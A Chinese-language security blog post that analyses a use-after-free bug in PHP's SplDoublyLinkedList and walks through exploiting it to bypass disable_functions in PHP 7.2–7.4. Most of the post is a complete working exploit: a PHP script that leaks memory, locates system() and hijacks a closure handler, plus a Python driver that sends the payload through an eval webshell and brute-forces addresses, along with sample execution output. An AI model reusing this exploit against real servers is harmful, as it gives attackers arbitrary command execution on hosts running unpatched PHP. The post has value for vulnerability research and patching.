9.20+ 号在 bugs.php.net 上看到的一个 UAF BUG:https://bugs.php.net/bug.php?id=80111 ,报告人已经写出了 bypass disabled functions 的利用脚本并且私发了给官方,不过官方似乎还没有修复,原因不明。
试了一下,bug 能在 7.4.10、7.3.22、7.2.34 版本触发,虽然报告者没有公布利用脚本,不过我们可以自己写一个。
BUG 发生在 PHP 内置类 SplDoublyLinkedList,一个双链表类,有一个指针 traverse_pointer 用于指向当前位置。
在调用 unset 删除链表元素的时候,处理顺序上有点问题:
if (element != NULL) { /* connect the neightbors */ ... /* take care of head/tail */ ... /* finally, delete the element */ llist->count--; if(llist->dtor) { llist->dtor(element); } if (intern->traverse_pointer == element) { SPL_LLIST_DELREF(element); intern->traverse_pointer = NULL; } ... }
可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
具体的触发脚本可以参考报告人给出的测试代码。
先看一下链表元素的结构体:
typedef struct _spl_ptr_llist_element { struct _spl_ptr_llist_element *prev; struct _spl_ptr_llist_element *next; int rc; zval data; } spl_ptr_llist_element;
前后指针 + 引用计数 + zval 格式的 data,加起来就是 0x28。
而最方便控制的 zend_string 结构则是这样的:
struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; };
也就是说用一个字符串进行 UAF,我们基本可以控制元素的整个 data 部分。
然后问题就来了,data 部分是个 zval,一般是个地址 + 类型的两地址单元数据,我们可以通过这里泄露某个地址的数据,但是我们没有泄露这个地址的途径。
一开始我想通过 next 导致的链表元素引用计数 + 1(对应到字符串中就是字符串长度 + 1)来一个个字节地泄露出被删除元素 data 段存在的地址,结果发现 PHP 在为字符串分配地址的时候基本都会在最后加上个不算在字符串长度中的 \x00,所以这个思路也走不通了。
所以最后是按照两种情况来处理,首先是没有限制 openbase_dir 的情况,可以读取 /proc/self/maps 来获取地址,具体思路如下:
比较要注意的一点就是引用计数,具体原因可以自行调试。
执行 php -v 的结果如下(Docker 镜像为 php:7.4.10-apache,上面只放了一句话 webshell):
[+]Execute Payload, Output is:
[+]PHP Chunk: 7f026be00000 - 7f026c000000, length: 0x200000
[+]SplDoublyLinkedList Element: 7f026be540f0
[+]Closure Chunk: 7f026be544b0
[+]Closure Object: 7f026be588c0
[+]Closure Handler: 7f026d4f9780
[+]Find system's handler: 7f026cae9100
[+]Executing command:
PHP 7.4.10 (cli) (built: Sep 10 2020 13:50:32) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
[+]Done
[+]Execute Payload Over.
如果限制了 openbase_dir,就比较麻烦了,因为无法直接读取到 PHP Chunk 的地址,就只能通过爆破来获取,但是每次爆破都会导致 Apache 子进程崩溃重启一次(PHP 的 Web 服务一般是父子进程的形式,所以单纯子进程重启不会影响 PHP Chunk 的地址,除非将整个 Apache/FPM 重启),所以虽然说要爆破,但是也不能从 0x7f0000000000 开始每 0x20000 爆破一次,这样需要的爆破次数太多了。
我想到的办法就是申请一个很大的 Chunk,比如 PHP 一般配置下最大内存使用为 128MB,我就申请一个 120MB 的 Chunk,而这个 Chunk 一般会排布在 Apache so 扩展、PHP Chunk 等数据的上方,所以我从 0x7f0000000000 开始每 0x8000000 爆破一次,如果没有崩溃就说明找到了这个大 Chunk,最坏的情况下需要爆破 8000+ 次。
之后只要再每 0x20000 进行循环泄露出 PHP Chunk 和链表地址(偶尔会因为读取越界导致崩溃,一般不超过 100 次),后面就跟没有限制 openbase_dir 的情况一致了,一个比较快的执行结果如下:
[+]Execute Payload, Output is:
[+]Bomb 100 times, address of first chunk maybe: 0x7f0320000000L
[+]Bomb 200 times, address of first chunk maybe: 0x7f0640000000L
[+]Bomb 300 times, address of first chunk maybe: 0x7f0960000000L
[+]Bomb 400 times, address of first chunk maybe: 0x7f0c80000000L
[+]Bomb 500 times, address of first chunk maybe: 0x7f0fa0000000L
[+]Bomb 600 times, address of first chunk maybe: 0x7f12c0000000L
[+]Bomb 700 times, address of first chunk maybe: 0x7f15e0000000L
[+]Bomb 800 times, address of first chunk maybe: 0x7f1900000000L
[+]Bomb 900 times, address of first chunk maybe: 0x7f1c20000000L
[+]Bomb 1000 times, address of first chunk maybe: 0x7f1f40000000L
[+]Bomb 1100 times, address of first chunk maybe: 0x7f2260000000L
[+]Bomb 1200 times, address of first chunk maybe: 0x7f2580000000L
[+]Bomb 1300 times, address of first chunk maybe: 0x7f28a0000000L
[+]Bomb 1400 times, address of first chunk maybe: 0x7f2bc0000000L
---------------------------------------------------------------------------------
[+]Bomb 10 times, address of php chunk maybe: 0x7f2e51400000L
[+]Bomb 20 times, address of php chunk maybe: 0x7f2e52800000L
[+]Bomb 30 times, address of php chunk maybe: 0x7f2e53c00000L
[+]Bomb 40 times, address of php chunk maybe: 0x7f2e55000000L
[+]Bomb 50 times, address of php chunk maybe: 0x7f2e56400000L
[+]Bomb 60 times, address of php chunk maybe: 0x7f2e57800000L
[+]Bomb 70 times, address of php chunk maybe: 0x7f2e58c00000L
[+]PHP crash 14 times
---------------------------------------------------------------------------------
[+]SplDoublyLinkedList Element: 7f2e596540f0
[+]Closure Chunk: 7f2e596544b0
[+]Closure Object: 7f2e59658b40
[+]Find system's handler: 7f2e5a310100
[+]Executing command:
PHP 7.4.10 (cli) (built: Sep 10 2020 13:50:32) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
[+]Done
[+]Execute Payload Over.
崩溃了 1400+ 次。
PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试),写的比较烂,师傅们凑合着看一下:
<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; } function leak(&$a, $address) { global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current()); } function getPHPChunk($maps) { $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n"; return $address; } } } function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); } } function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start + 0x200000, 0x200000)); die("[!]Not Found"); } function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) { $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000; for ($y = 0;$y < 5;$y++) { if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n"; return $addr + $y * 0x08 - 0x18; } } } } function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[+]Closure Chunk: " . dechex($address) . "\n"; return $address; } function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 * 0x80; $i++) { $addr = $start - $i * 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("\x00", $name)[0]; if($name === "system") { return leak($a, $addr + 0x08); } } } class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[+]Done"; } } function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress + 0x18); echo "[+]Closure Object: " . dechex($closure_object) . "\n"; $closure_handlers = leak($a, $closure_object + 0x18); echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n"; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[+]Find system's handler: " . dechex($system_address) . "\n"; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i++) { $data = leak($a, $closure_object + 0x08 * $i); i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x08 * $i + 0x100, $data); } i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[+]Executing command: \n"; ($s -> current())("php -v"); } function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } $s = new SplDoublyLinkedList(); $s -> push(new Trigger()); $s -> push("Twings"); $s -> push(function($x){}); for ($x = 0;$x < 0x100;$x++) { $s -> push(0x1234567812345678); } $s -> rewind(); unset($s[0]);
Python 部分比较简单,写好爆破部分就成,我写的很烂,师傅们看个大概就好:
# -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr)) content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 continue return content def bomb2(_url, _addr1): content = None count = 1 crashcount = 0 while True: try: _addr1 = _addr1 + 0x200000 if count % 10 == 0: print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1)) content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 crashcount += 1 continue print "[+]PHP crash " + str(crashcount) + " times" return content payload = open("xxx.php").read() payload = base64.b64encode("?>" + payload) url = "http://x.x.x.x:x/eval.php" print "[+]Execute Payload, Output is:" content = requests.post(url, data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]Please try to get address of PHP Chunk" in content: addr1 = bomb1(url) if addr1 is None: exit(1) print "---------------------------------------------------------------------------------" addr2 = bomb2(url, int(addr1, 16)) if addr2 is None: exit(1) print "---------------------------------------------------------------------------------" print addr2 else: print content print "[+]Execute Payload Over."
就像上面所说的,限制了 openbase_dir 情况下的利用,需要进行爆破,而且还会导致进程崩溃。
由于本人水平限制,利用过程中可能存在各种各样的问题,如果各位师傅有更好的利用方式,欢迎指正与讨论。
Orz